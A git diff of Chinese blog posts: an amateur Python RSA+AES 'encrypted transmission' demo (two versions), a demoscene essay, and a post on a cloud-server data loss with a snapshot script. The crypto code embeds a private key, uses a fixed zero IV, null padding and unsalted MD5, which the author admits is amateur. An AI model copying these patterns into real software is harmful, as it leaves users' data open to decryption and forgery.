另外在通信安全中还有一点是要求校验数据,我想了想就用MD5吧,正常来说得到MD5后还要数字签名啥的,我觉得麻烦也就没搞,所以最终传输的内容就是AES加密后的数据、原数据的MD5(Hash)以及用RSA加密的密钥。
|
||||
虽然我学Python的时间不长,不过我现在发现Python在做这些事情的时候远比Shell、PHP和JS简单,所以这次的Demo也是用Python实现的。
|
||||
不过我的Python并不怎么样,所以大多数代码都是从网上Copy的,像Crypto的库我不搜一下肯定是不会用嘛。
|
||||
既然用到了Crypto库,那么如果有人有兴趣执行下面的代码,自然需要执行一下`pip3 install pycryptodome`才可以正常运行啦。
|
||||
|
||||
# 代码
|
||||
## server.py
|
||||
```python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from Crypto.PublicKey import RSA
|
||||
from Crypto.Cipher import PKCS1_v1_5
|
||||
from Crypto.Cipher import AES
|
||||
import base64
|
||||
import hashlib
|
||||
import json
|
||||
|
||||
private_key = """-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICXQIBAAKBgQDfEQ82qUrto7h4BL3TsA/DFXSdM44cbeY4kPccD7gLGhaZRClz
|
||||
YKIh5zYdfjBGF+0HXfMa1u9b7GNs2AjVIsx8Kx0QLnMfmtkmGWGhOXz/9IDLKJOx
|
||||
0weKv61gysKItgzVKn2mbLool4R/PQBc3AjDyHw+io1KpVz+3kRTaGs1fQIDAQAB
|
||||
AoGAWB4kFWLA/6k6OOcemd4mC9mQ7HyuOdrMJDJX+5TWDkSrArajbTmSMrRkczgj
|
||||
F71h3BQn8cVQXs695ARfUNrjTbi2Y0LjN7ScK7ExzTLdoMEFw5JsHggJZ0zBQY6w
|
||||
mwOdGfqzA6tZPXgkn+jqEha+CD6GrwnTM1oDGJC/aKG2OmECQQDkO9IhUhFc/PSU
|
||||
0zvGE6AOcqk5wlOuvMg+oAFHJHJZ9XW7+X/Nx0ZoVDFq/cZQj+46t+fiwUwhdW7l
|
||||
IfCvNGKFAkEA+jRQmWGKrbf1ns4S0SezJvysd5O6otRGJXr+Ex2uDhc39ZTeUsyg
|
||||
kjrLhp8STLMOmql+8g5fghct17EuCX1EmQJBAJz9BNnEkIrst/OSpH/nyeWGOx6u
|
||||
q077LaXd+2MLD9kO/O/Se3V5B9YFa4STkJCjoBMloswXd51gIGpdgSeSmd0CQQCL
|
||||
PrwwcGmWfo+ynqs4PajlpK9zKQMwhYS4bTejedwZOXDKOtx0Ji+i0hfcxwCPMQOK
|
||||
rZPZsIgUxUOdC508aLvZAkBDkHxunCzDm0w4DdTUN7S9YSpVvQEjK/xUQiWaKV12
|
||||
8QgskhU2DNdYK2NxifnWrKtx3uQmqMxX5aLuJZ4493yr
|
||||
-----END RSA PRIVATE KEY-----"""
|
||||
|
||||
# 公钥解密
|
||||
def rsa_decode(cipher_text, private_key):
|
||||
rsakey = RSA.importKey(private_key) # 导入读取到的私钥
|
||||
cipher = PKCS1_v1_5.new(rsakey) # 生成对象
|
||||
# 将密文解密成明文,返回的是一个bytes类型数据,需要自己转换成str
|
||||
text = cipher.decrypt(base64.b64decode(cipher_text), "ERROR")
|
||||
return text.decode()
|
||||
|
||||
class PrpCrypt(object):
|
||||
|
||||
def __init__(self, key):
|
||||
self.key = key.encode('utf-8')
|
||||
self.mode = AES.MODE_CBC
|
||||
|
||||
|
||||
# 解密后,去掉补足的空格用strip() 去掉
|
||||
def decrypt(self, text):
|
||||
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
|
||||
plain_text = cryptor.decrypt(base64.b64decode(text))
|
||||
# return plain_text.rstrip('\0')
|
||||
return bytes.decode(plain_text).rstrip('\0')
|
||||
|
||||
while not input("按回车读取客户端的信息,输入其他内容结束"):
|
||||
cipher = open("pipe.txt", mode='r')
|
||||
msg = json.loads(cipher.read())
|
||||
cipher.close()
|
||||
key = rsa_decode(msg["key"], private_key)
|
||||
aesc = PrpCrypt(key)
|
||||
message = aesc.decrypt(msg["message"])
|
||||
hash = hashlib.md5(message.encode(encoding='UTF-8')).hexdigest()
|
||||
if hash == msg["hash"]:
|
||||
print("数据校验成功")
|
||||
else:
|
||||
print("数据校验失败")
|
||||
print(message)
|
||||
```
|
||||
## client.py
|
||||
```python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import random
|
||||
from Crypto.PublicKey import RSA
|
||||
from Crypto.Cipher import PKCS1_v1_5
|
||||
from Crypto.Cipher import AES
|
||||
import base64
|
||||
import hashlib
|
||||
import json
|
||||
|
||||
public_key = """-----BEGIN PUBLIC KEY-----
|
||||
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfEQ82qUrto7h4BL3TsA/DFXSd
|
||||
M44cbeY4kPccD7gLGhaZRClzYKIh5zYdfjBGF+0HXfMa1u9b7GNs2AjVIsx8Kx0Q
|
||||
LnMfmtkmGWGhOXz/9IDLKJOx0weKv61gysKItgzVKn2mbLool4R/PQBc3AjDyHw+
|
||||
io1KpVz+3kRTaGs1fQIDAQAB
|
||||
-----END PUBLIC KEY-----
|
||||
"""
|
||||
|
||||
# 公钥加密
|
||||
def rsa_encode(message, public_key):
|
||||
rsakey = RSA.importKey(public_key) # 导入读取到的公钥
|
||||
cipher = PKCS1_v1_5.new(rsakey) # 生成对象
|
||||
# 通过生成的对象加密message明文,注意,在python3中加密的数据必须是bytes类型的数据,不能是str类型的数据
|
||||
cipher_text = base64.b64encode(cipher.encrypt(message.encode(encoding="utf-8")))
|
||||
# 公钥每次加密的结果不一样跟对数据的padding(填充)有关
|
||||
return cipher_text.decode()
|
||||
|
||||
class PrpCrypt(object):
|
||||
|
||||
def __init__(self, key):
|
||||
self.key = key.encode('utf-8')
|
||||
self.mode = AES.MODE_CBC
|
||||
|
||||
# 加密函数,如果text不足16位就用空格补足为16位,
|
||||
# 如果大于16当时不是16的倍数,那就补足为16的倍数。
|
||||
def encrypt(self, text):
|
||||
text = text.encode('utf-8')
|
||||
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
|
||||
# 这里密钥key 长度必须为16(AES-128),
|
||||
# 24(AES-192),或者32 (AES-256)Bytes 长度
|
||||
# 目前AES-128 足够目前使用
|
||||
length = 16
|
||||
count = len(text)
|
||||
if count < length:
|
||||
add = (length - count)
|
||||
# \0 backspace
|
||||
# text = text + ('\0' * add)
|
||||
text = text + ('\0' * add).encode('utf-8')
|
||||
elif count > length:
|
||||
add = (length - (count % length))
|
||||
# text = text + ('\0' * add)
|
||||
text = text + ('\0' * add).encode('utf-8')
|
||||
self.ciphertext = cryptor.encrypt(text)
|
||||
# 因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题
|
||||
# 所以这里统一把加密后的字符串转化为16进制字符串
|
||||
return base64.b64encode(self.ciphertext)
|
||||
|
||||
message=" "
|
||||
while message:
|
||||
message = input("请输入需要传输的信息(不输入则结束):")
|
||||
hash = hashlib.md5(message.encode(encoding='UTF-8')).hexdigest()
|
||||
key = str(random.randint(1000000000000000,9999999999999999))
|
||||
cipher = rsa_encode(key, public_key)
|
||||
aesc = PrpCrypt(key)
|
||||
data=json.dumps({"message":aesc.encrypt(message).decode('utf8'),"hash":hash,"key":cipher})
|
||||
print(data,file = open('pipe.txt','w'))
|
||||
print("数据已发出!")
|
||||
```
|
||||
|
||||
# 感想
|
||||
我在写这个代码的时候在网上搜到的资料也真的是算少了,就像我当时打算写加密邮件那时一样,基本上大多数的资料都有问题,像有些代码还是Python2的,还有时候经常遇到什么bytearray、json转换之类乱七八糟的问题。
|
||||
希望中文网络环境能多一些大家遇到的冷门知识的解决方法啊……
|
||||
对了,这个代码实际上只有防止中间人窥探信息的能力,并没有防篡改的能力,毕竟没有两端握手,没法做验证,所以这就是一个业余的加密传输代码,仅供参考。
|
31
_posts/2020-06-06-demoscene.md
Normal file
31
_posts/2020-06-06-demoscene.md
Normal file
@ -0,0 +1,31 @@
|
||||
---
|
||||
layout: post
|
||||
title: 关于Demoscene的探索
|
||||
tags: [Demoscene]
|
||||
---
|
||||
大佬们的领域我们无法步入……<!--more-->
|
||||
|
||||
# 前言
|
||||
最近闲来无事又在回顾自己的历史,真是呜呼哀哉……14年左右的我是那么的有探索和研究精神,怎么过了几年之后就成Five了呢……
|
||||
在我过去留下的文件里,我找到了一些比较有意思的东西,比如当时网上传的很火的一个叫做[.the .product](http://www.theproduct.de/)的一个64KiB的动画,传说它用了外星压缩算法把1个多GiB的东西压缩成了64KiB,真是令人感到不可思议,还有一个叫做[kkrieger](https://files.scene.org/view/parties/2004/breakpoint04/96kgame/kkrieger-beta.zip)的3D游戏,同样也仅仅用了92KiB。
|
||||
这两个作品都来自一个叫做Farbrausch的组织,可能是这个组织的宣传做的比较好,其他的Demoscene虽然做的也很不错,但是并不怎么知名,唯有这个组织的Demoscene在网上广为流传……(不过也许是因为Breakpoint的Party知名度比较高)
|
||||
除此之外,在Windows XP时代喜欢玩批处理的人也一定知道一个叫做[OMNISCENT](https://files.scene.org/view/parties/1997/mekka97/in4k/snc_omni.zip)的动画,把一串乱七八糟的东西放到debug程序里得出的一个只有4KiB的小程序,就能播放出一个看起来好像在一个飞船里的一个3D动画。
|
||||
以上所说的这些我当时不知道是什么东西。到了现在,我才知道这些是一种叫做Demoscene的东西。
|
||||
|
||||
# 什么是Demoscene
|
||||
Demoscene根据百科所说是一种计算机艺术亚文化,中文名叫做演景。玩这个的人就喜欢用计算机来渲染出一些看起来很有感觉的带音频的视频。因为这些画面都是直接渲染出来的,所以占用的空间也非常的小。
|
||||
这个道理就和位图和矢量图、波形音乐和MIDI音乐一样,程序总比数据占用的空间小,所以Demoscene通常来说都是用很小的程序来表现很复杂的场面。不过做过像svg的人应该也知道,同一个图像,做矢量图的难度要比制作位图的难度要大,这也就是为什么Demoscene是只有大佬才会玩的东西。
|
||||
虽然说这个东西说是计算机文化,但是在我看来这个东西就是会写程序的数学家搞的玩意,这就和NOI一样荒谬,一堆数学题非得要叫个信息学比赛……
|
||||
|
||||
# Demoscene的实现方式
|
||||
过去的Demoscene通常都是使用汇编写出来的,虽然说汇编写出来的程序应该很小,但是它因为过于复杂以至于有些硬件资源它无法很好的利用。
|
||||
因为Demoscene主要表现的是音乐和视频,那么这些事让显卡做的效率自然要比用CPU做的效率高很多。比如说我上面所说的OMNISCENT,这个程序完全使用的是CPU的计算资源,虽然使用了4KiB,看起来很小,但是事实上还是浪费了不少的空间。最近我在逛[scene.org](https://scene.org/)的时候见到了一个更加厉害的Demoscene,名字叫做[elevated](https://files.scene.org/view/parties/2009/breakpoint09/in4k/rgba_tbc_elevated.zip)。它用了4KiB表现了一座山的春夏秋冬,不仅画面更加精致,而且时长也更长。
|
||||
我看了一下,他们还放出了[源代码](https://files.scene.org/view/resources/code/sources/rgba_tbc_elevated_source.zip),看起来是使用C++和汇编写出来的,使用了微软的DirectX9来调用显卡。再看其他代码,好多东西就只用了一句话来表示,比如太阳就只需要一句`"+pow(saturate(mul(e,q[3])),16)*float3(.4,.3,.1)"`,云也只有一句`"+.1*f(s+q[3].w*.2,10)"`。这样看来难怪整个程序那么小,一个公式就表示了一个模型,这群伪装成程序员的数学家也真是有够强。
|
||||
除此之外也有一些用数学界常有的复杂3D模型生成公式的,比如什么Romanesco Broccoli,还有分形之类乱七八糟的东西,像这些就超出我的理解范围了 ~~(连线代都搞不懂还搞这个?)~~。
|
||||
|
||||
# 后记
|
||||
既然Demoscene对数学的要求如此之高,对我来说自然是无缘步入了。但是欣赏他们的作品还是挺不错的。
|
||||
除了上述的一些Demo(Intro)外,我还找到了一些比较有意思的,比如今年一个叫做Revision的Party里就有一个叫做[SyncCord](https://files.scene.org/view/parties/2020/revision20/pc-4k-intro/synccord_nusanvalden.zip)的作品,同样是4KiB,效果也是非常的不错。
|
||||
当然也不一定非要局限于4KiB还是64KiB,更大的有更多的表现空间,就比如07年的一个叫做[debris](https://files.scene.org/view/parties/2007/breakpoint07/demo/fr-041_debris.zip)的作品,堪称大片,大小也仅仅只有177KiB,另外这也是Farbrausch的作品。
|
||||
更多的作品大家可以自己去[scene.org](https://scene.org/)找,这里面有历年各位神仙做的各种各样的Demoscene。
|
||||
另外除了这些程序之外,也还有一些大佬拿JS写的只有1KiB的网页,大家可以在[js1k.com](https://js1k.com/)里找到,当然这些和那些写真正程序的人完全不能比,只是觉得1KiB的JS能做出那些东西也感觉很有意思。
|
260
_posts/2020-06-13-encrypt.md
Normal file
260
_posts/2020-06-13-encrypt.md
Normal file
@ -0,0 +1,260 @@
|
||||
---
|
||||
layout: post
|
||||
title: 加密传输Demo V2
|
||||
tags: [加密, Demo]
|
||||
---
|
||||
太业余总感觉不太好啊<!--more-->
|
||||
|
||||
# 前言
|
||||
在上个月我写了一个[加密传输的Demo](/2020/05/29/encrypt.html),相当的业余,这个东西只能做到从客户端向服务端的单向传输,而且因为只有一次请求,所以中间人攻击也非常的容易。
|
||||
虽然我觉得那个应该足够我完成作业了,但是我想了想,太业余总显得我很菜 ~~(难道不是吗?)~~ ,所以我打算还是努力一下把完整的握手也做出来吧。
|
||||
|
||||
# 实现思路
|
||||
和上次差不多,同样我打算通过RSA加密一个随机数作为AES的密钥,但是和上次不同,这次的这个密钥将在通信建立之后密钥就不再变化,传入传出都是这个密钥。
|
||||
之前觉得握手阶段可能很麻烦,不过我画了一下图稍微理了理思路发现其实也没多复杂,也就是客户端生成密钥然后加密传输过来让服务端保存,完成之后之间的传输只要传被加密的数据就行了。这样我觉得应该也能起到一定的防止中间人攻击的作用吧……
|
||||
不过我只用了一个文件作为传输的管道,为了避免冲突,我在每次写入数据的时候也都标明了数据的来源,这样就不会因为自己刚发完然后自己又重新接收自己发的东西了。
|
||||
另外老师希望我的Demo有个简单的应用,所以我又另外加了一个极其简单的登录系统在里面,这样我就不用手动操作服务端了。
|
||||
|
||||
# 代码
|
||||
## server.py
|
||||
```python
|
||||
# -*- coding: utf-8 -*-
|
||||
print("加密通道服务端演示开始")
|
||||
from Crypto.PublicKey import RSA
|
||||
from Crypto.Cipher import PKCS1_v1_5
|
||||
from Crypto.Cipher import AES
|
||||
import base64
|
||||
import hashlib
|
||||
import json
|
||||
import time
|
||||
|
||||
private_key = """-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICXQIBAAKBgQDfEQ82qUrto7h4BL3TsA/DFXSdM44cbeY4kPccD7gLGhaZRClz
|
||||
YKIh5zYdfjBGF+0HXfMa1u9b7GNs2AjVIsx8Kx0QLnMfmtkmGWGhOXz/9IDLKJOx
|
||||
0weKv61gysKItgzVKn2mbLool4R/PQBc3AjDyHw+io1KpVz+3kRTaGs1fQIDAQAB
|
||||
AoGAWB4kFWLA/6k6OOcemd4mC9mQ7HyuOdrMJDJX+5TWDkSrArajbTmSMrRkczgj
|
||||
F71h3BQn8cVQXs695ARfUNrjTbi2Y0LjN7ScK7ExzTLdoMEFw5JsHggJZ0zBQY6w
|
||||
mwOdGfqzA6tZPXgkn+jqEha+CD6GrwnTM1oDGJC/aKG2OmECQQDkO9IhUhFc/PSU
|
||||
0zvGE6AOcqk5wlOuvMg+oAFHJHJZ9XW7+X/Nx0ZoVDFq/cZQj+46t+fiwUwhdW7l
|
||||
IfCvNGKFAkEA+jRQmWGKrbf1ns4S0SezJvysd5O6otRGJXr+Ex2uDhc39ZTeUsyg
|
||||
kjrLhp8STLMOmql+8g5fghct17EuCX1EmQJBAJz9BNnEkIrst/OSpH/nyeWGOx6u
|
||||
q077LaXd+2MLD9kO/O/Se3V5B9YFa4STkJCjoBMloswXd51gIGpdgSeSmd0CQQCL
|
||||
PrwwcGmWfo+ynqs4PajlpK9zKQMwhYS4bTejedwZOXDKOtx0Ji+i0hfcxwCPMQOK
|
||||
rZPZsIgUxUOdC508aLvZAkBDkHxunCzDm0w4DdTUN7S9YSpVvQEjK/xUQiWaKV12
|
||||
8QgskhU2DNdYK2NxifnWrKtx3uQmqMxX5aLuJZ4493yr
|
||||
-----END RSA PRIVATE KEY-----"""
|
||||
|
||||
# 公钥解密
|
||||
def rsa_decode(cipher_text, private_key):
|
||||
rsakey = RSA.importKey(private_key) # 导入读取到的私钥
|
||||
cipher = PKCS1_v1_5.new(rsakey) # 生成对象
|
||||
# 将密文解密成明文,返回的是一个bytes类型数据,需要自己转换成str
|
||||
text = cipher.decrypt(base64.b64decode(cipher_text), "ERROR")
|
||||
return text.decode()
|
||||
|
||||
class PrpCrypt(object):
|
||||
|
||||
def __init__(self, key):
|
||||
self.key = key.encode('utf-8')
|
||||
self.mode = AES.MODE_CBC
|
||||
|
||||
def encrypt(self, text):
|
||||
text = text.encode('utf-8')
|
||||
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
|
||||
# 这里密钥key 长度必须为16(AES-128),
|
||||
# 24(AES-192),或者32 (AES-256)Bytes 长度
|
||||
# 目前AES-128 足够目前使用
|
||||
length = 16
|
||||
count = len(text)
|
||||
if count < length:
|
||||
add = (length - count)
|
||||
# \0 backspace
|
||||
# text = text + ('\0' * add)
|
||||
text = text + ('\0' * add).encode('utf-8')
|
||||
elif count > length:
|
||||
add = (length - (count % length))
|
||||
# text = text + ('\0' * add)
|
||||
text = text + ('\0' * add).encode('utf-8')
|
||||
self.ciphertext = cryptor.encrypt(text)
|
||||
# 因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题
|
||||
# 所以这里统一把加密后的字符串转化为16进制字符串
|
||||
return base64.b64encode(self.ciphertext)
|
||||
|
||||
# 解密后,去掉补足的空格用strip() 去掉
|
||||
def decrypt(self, text):
|
||||
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
|
||||
plain_text = cryptor.decrypt(base64.b64decode(text))
|
||||
# return plain_text.rstrip('\0')
|
||||
return bytes.decode(plain_text).rstrip('\0')
|
||||
|
||||
#初始化pipe
|
||||
file = open('pipe.txt','w')
|
||||
print("",file = file)
|
||||
file.close()
|
||||
#协商密钥
|
||||
while True:
|
||||
pipe = open("pipe.txt", mode='r')
|
||||
data = pipe.read()
|
||||
if not data == "\n":
|
||||
data = json.loads(data)
|
||||
pipe.close()
|
||||
break
|
||||
pipe.close()
|
||||
time.sleep(1)
|
||||
file = open('pipe.txt','w')
|
||||
print("",file = file)
|
||||
file.close()
|
||||
key = rsa_decode(data["key"], private_key)
|
||||
akey = PrpCrypt(key)
|
||||
print("成功获取密钥",key)
|
||||
print("已建立连接")
|
||||
userInfo={"Name":"Mayx","Passwd":'25d55ad283aa400af464c76d713c07ad',"Book":"《会说话就多说点》,《在哪里能买到您的著作》"}
|
||||
|
||||
#处理阶段
|
||||
#Waiting for Quest
|
||||
while True:
|
||||
pipe = open("pipe.txt", mode='r')
|
||||
data = pipe.read()
|
||||
if not data == "\n":
|
||||
data = json.loads(data)
|
||||
if data["from"] == "Client":
|
||||
pipe.close()
|
||||
break
|
||||
pipe.close()
|
||||
time.sleep(1)
|
||||
print("已收到请求")
|
||||
data = json.loads(akey.decrypt(data["data"]))
|
||||
if data["name"] == userInfo["Name"] and data["pwd"] == userInfo["Passwd"]:
|
||||
file = open('pipe.txt','w')
|
||||
print(json.dumps({"from":"Server","data":akey.encrypt("登录成功,您的书单如下:"+userInfo["Book"]).decode("utf-8")}),file = file)
|
||||
file.close()
|
||||
else:
|
||||
file = open('pipe.txt','w')
|
||||
print(json.dumps({"from":"Server","data":akey.encrypt("登录失败").decode("utf-8")}),file = file)
|
||||
file.close()
|
||||
print("请求已回应")
|
||||
print("加密通道服务端演示结束")
|
||||
```
|
||||
|
||||
## client.py
|
||||
```python
|
||||
# -*- coding: utf-8 -*-
|
||||
print("加密通道客户端演示开始")
|
||||
import random
|
||||
from Crypto.PublicKey import RSA
|
||||
from Crypto.Cipher import PKCS1_v1_5
|
||||
from Crypto.Cipher import AES
|
||||
import base64
|
||||
import hashlib
|
||||
import json
|
||||
import time
|
||||
|
||||
public_key = """-----BEGIN PUBLIC KEY-----
|
||||
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfEQ82qUrto7h4BL3TsA/DFXSd
|
||||
M44cbeY4kPccD7gLGhaZRClzYKIh5zYdfjBGF+0HXfMa1u9b7GNs2AjVIsx8Kx0Q
|
||||
LnMfmtkmGWGhOXz/9IDLKJOx0weKv61gysKItgzVKn2mbLool4R/PQBc3AjDyHw+
|
||||
io1KpVz+3kRTaGs1fQIDAQAB
|
||||
-----END PUBLIC KEY-----
|
||||
"""
|
||||
|
||||
# 公钥加密
|
||||
def rsa_encode(message, public_key):
|
||||
rsakey = RSA.importKey(public_key) # 导入读取到的公钥
|
||||
cipher = PKCS1_v1_5.new(rsakey) # 生成对象
|
||||
# 通过生成的对象加密message明文,注意,在python3中加密的数据必须是bytes类型的数据,不能是str类型的数据
|
||||
cipher_text = base64.b64encode(cipher.encrypt(message.encode(encoding="utf-8")))
|
||||
# 公钥每次加密的结果不一样跟对数据的padding(填充)有关
|
||||
return cipher_text.decode()
|
||||
|
||||
class PrpCrypt(object):
|
||||
|
||||
def __init__(self, key):
|
||||
self.key = key.encode('utf-8')
|
||||
self.mode = AES.MODE_CBC
|
||||
|
||||
# 加密函数,如果text不足16位就用空格补足为16位,
|
||||
# 如果大于16当时不是16的倍数,那就补足为16的倍数。
|
||||
def encrypt(self, text):
|
||||
text = text.encode('utf-8')
|
||||
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
|
||||
# 这里密钥key 长度必须为16(AES-128),
|
||||
# 24(AES-192),或者32 (AES-256)Bytes 长度
|
||||
# 目前AES-128 足够目前使用
|
||||
length = 16
|
||||
count = len(text)
|
||||
if count < length:
|
||||
add = (length - count)
|
||||
# \0 backspace
|
||||
# text = text + ('\0' * add)
|
||||
text = text + ('\0' * add).encode('utf-8')
|
||||
elif count > length:
|
||||
add = (length - (count % length))
|
||||
# text = text + ('\0' * add)
|
||||
text = text + ('\0' * add).encode('utf-8')
|
||||
self.ciphertext = cryptor.encrypt(text)
|
||||
# 因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题
|
||||
# 所以这里统一把加密后的字符串转化为16进制字符串
|
||||
return base64.b64encode(self.ciphertext)
|
||||
|
||||
# 解密后,去掉补足的空格用strip() 去掉
|
||||
def decrypt(self, text):
|
||||
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
|
||||
plain_text = cryptor.decrypt(base64.b64decode(text))
|
||||
# return plain_text.rstrip('\0')
|
||||
return bytes.decode(plain_text).rstrip('\0')
|
||||
|
||||
#初始化阶段
|
||||
while True:
|
||||
try:
|
||||
pipe = open("pipe.txt", mode='r')
|
||||
except:
|
||||
time.sleep(1)
|
||||
else:
|
||||
break
|
||||
pipe.close()
|
||||
#协商密钥
|
||||
key = str(random.randint(1000000000000000,9999999999999999))
|
||||
akey = PrpCrypt(key)
|
||||
cipher = rsa_encode(key, public_key)
|
||||
data = json.dumps({"key":cipher})
|
||||
file = open('pipe.txt','w')
|
||||
print(data,file = file)
|
||||
file.close()
|
||||
while True:
|
||||
pipe = open("pipe.txt", mode='r')
|
||||
if pipe.read() == "\n":
|
||||
pipe.close()
|
||||
break
|
||||
pipe.close()
|
||||
time.sleep(1)
|
||||
print("成功发送密钥",key)
|
||||
print("已建立连接")
|
||||
|
||||
#处理阶段
|
||||
#Single Quest
|
||||
name = input("请输入用户名:")
|
||||
pwd = input("请输入密码:")
|
||||
hash = hashlib.md5(pwd.encode(encoding='UTF-8')).hexdigest()
|
||||
data = json.dumps({"from":"Client","data":akey.encrypt(json.dumps({"name":name,"pwd":hash})).decode("utf-8")})
|
||||
file = open('pipe.txt','w')
|
||||
print(data,file = file)
|
||||
file.close()
|
||||
print("已发出,等待回应")
|
||||
while True:
|
||||
pipe = open("pipe.txt", mode='r')
|
||||
data = pipe.read()
|
||||
if not data == "\n":
|
||||
data = json.loads(data)
|
||||
if data["from"] == "Server":
|
||||
pipe.close()
|
||||
break
|
||||
pipe.close()
|
||||
time.sleep(1)
|
||||
print("已收到回应")
|
||||
data = akey.decrypt(data["data"])
|
||||
print(data)
|
||||
print("加密通道客户端演示结束")
|
||||
```
|
||||
|
||||
# 后记
|
||||
关于SSL/TLS的具体内容我也没有好好看一遍,我打算回头有时间仔细看一看,然后再回来看这个代码是有多么的糟糕🤪。
|
120
_posts/2020-06-17-backup.md
Normal file
120
_posts/2020-06-17-backup.md
Normal file
@ -0,0 +1,120 @@
|
||||
---
|
||||
layout: post
|
||||
title: 论备份的重要性
|
||||
tags: [备份]
|
||||
---
|
||||
只有事情发生到自己头上才想到要解决<!--more-->
|
||||
|
||||
# 起因
|
||||
今天早上发生了一件很糟糕的事情,一打开聊天软件就发现有人在说我维护的花火学园挂掉了,错误信息是无法访问源站。我觉得挺奇怪,服务器又没啥负载,我也有一段时间没登进去了,怎么服务器就挂掉了?
|
||||
我试着用SSH连接,同样无法连接,我发现事情不太对劲,然后就登到了Vultr里看了看。结果发现我的服务器在00:00之后就像一个死人一样,CPU负载被拉成了一条直线,就那样保持0%的位置。我以为是因为莫名其妙的原因服务器关机了,然而我重启以后仍然没有解决问题。
|
||||
登录到终端一看,`No bootable device`就这样显示在屏幕上,硬盘直接读不出来了,这下可不得了了,我赶紧去快照里看了一下,发现最后一次快照的时间在5月30日,也就是说如果没能恢复数据这十几天的所有信息都将消失!
|
||||
|
||||
# 难以想象的垃圾服务商:Vultr
|
||||
首先我要做的事情当然是想办法先恢复服务,虽然那个快照有点早,但是先顶上再说吧……
|
||||
想一想我的防护应该做的也没啥问题,而且一般成功入侵服务器的人也应该是删库然后留一条信息的那种,直接干死硬盘的我还真没见过。于是我开始发Ticket给Vultr,看看到底是怎么回事。
|
||||
Vultr在我问完的4个小时后给出了最终的解决方案,把我的服务器直接重置,在上面安了新的操作系统然后给我赔了两个月的服务器费用……原文如下:
|
||||
> Hello,
|
||||
>
|
||||
> In the past 24 hours, we sent notification of a node failure impacting your cloud server listed above.
|
||||
>
|
||||
> Despite extensive efforts, our attempts to manually recover your cloud server were unsuccessful.
|
||||
>
|
||||
> Our engineering team is currently deploying new instances with the same operating system and IP and you will receive login details in a separate message. You may also deploy a backup or snapshot on a new instance with a new IP if you prefer.
|
||||
>
|
||||
> Our staff will be applying a two month account credit for the affected services shortly.
|
||||
>
|
||||
> Regards,
|
||||
> Bryan M.
|
||||
> Systems Administrator
|
||||
|
||||
哇,这真是太糟糕了,作为一家云服务器商就直接把客户的数据搞没了,然后就赔2个月的费用?要知道数据无价啊,就这么不负责任的吗?简直是不可思议啊!
|
||||
不过我也没什么好办法了,也许他们不重装我还想着试试SystemRescueCD试试看能不能把整个磁盘复制出来,但是他们既然已经直接重装那就彻底没救了……QAQ
|
||||
|
||||
# 亡羊补牢
|
||||
既然数据已经救不回来了,那我们也只能向前看,得想办法避免以后再出现这样的问题。因为我最近在期末阶段,比较忙,所以也不经常去打快照。虽然以前也出现过服务出问题的情况,像[MySQL挂了](/2020/01/05/devops.html)、CDN挂了、还有一次好像是交换机出问题了,但是无论如何数据从来没有丢失过。这一次数据都能丢了也真的是太糟糕了,要不是有快照,那就真成删库跑路了……
|
||||
既然没时间打快照,我得想个办法搞一个自动打快照的东西。在网上搜了搜,还真有这样的脚本,于是我拿来改了改就装上去用了。
|
||||
## 自动快照的脚本
|
||||
```python
|
||||
import requests
|
||||
from requests import get
|
||||
import re
|
||||
import json
|
||||
|
||||
|
||||
class __RPC:
|
||||
def __init__(self, api_key, name):
|
||||
self.api_key = api_key
|
||||
self.api_info = None
|
||||
self.name = name
|
||||
self.errors = {
|
||||
200: "Function successfully executed.",
|
||||
400: "Invalid API location. Check the URL that you are using.",
|
||||
403: "Invalid or missing API key. Check that your API key is present and matches your assigned key.",
|
||||
405: "Invalid HTTP method. Check that the method (POST|GET) matches what the documentation indicates.",
|
||||
412: "Request failed. Check the response body for a more detailed description.",
|
||||
500: "Internal server error. Try again at a later time.",
|
||||
503: "Rate limit hit. API requests are limited to an average of 2/s. Try your request again later."
|
||||
}
|
||||
|
||||
def api_info_initial(self):
|
||||
self.api_info = {"snapshot/create":"POST","snapshot/destroy":"POST","snapshot/list":"GET","server/list":"GET"}
|
||||
|
||||
def __getattr__(self, name):
|
||||
return eval("__RPC")(self.api_key, self.name + "/" + name)
|
||||
|
||||
def __call__(self, **kwargs):
|
||||
if not self.api_info:
|
||||
self.api_info_initial()
|
||||
if self.name not in self.api_info:
|
||||
raise ValueError("The API is not exists.")
|
||||
|
||||
if self.api_info[self.name] == "GET":
|
||||
res = requests.get("https://api.vultr.com/v1/" + self.name, headers={"API-Key": self.api_key},
|
||||
params=kwargs)
|
||||
elif self.api_info[self.name] == "POST":
|
||||
res = requests.post("https://api.vultr.com/v1/" + self.name, headers={"API-Key": self.api_key}, data=kwargs)
|
||||
|
||||
if res.status_code == 200:
|
||||
return res.status_code, res.text.strip()
|
||||
elif res.status_code in self.errors.keys():
|
||||
return res.status_code, self.errors.get(res.status_code)
|
||||
else:
|
||||
res.raise_for_status()
|
||||
|
||||
|
||||
class Vultr:
|
||||
def __init__(self, api_key):
|
||||
self.api_key = api_key
|
||||
|
||||
def __getattr__(self, name):
|
||||
return eval("__RPC")(self.api_key, name)
|
||||
|
||||
vultr = Vultr("API Key")
|
||||
data = {'SUBID': '实例ID'}
|
||||
status_code, resp = vultr.snapshot.create(**data)
|
||||
requests.post("https://sc.ftqq.com/SCKEY.send",data ={"text":"快照已创建","desp": str(status_code)+resp})
|
||||
# 删除旧快照
|
||||
status_code, resp = vultr.snapshot.list() # /v1/snapshot/list
|
||||
if status_code != 200:
|
||||
print('获取快照列表失败' + str(status_code) + resp)
|
||||
else:
|
||||
print('成功获取到快照列表')
|
||||
data_list = list(json.loads(resp).values())
|
||||
data_list.sort(key=lambda x: x['date_created']) # 默认时间排序,由近到远
|
||||
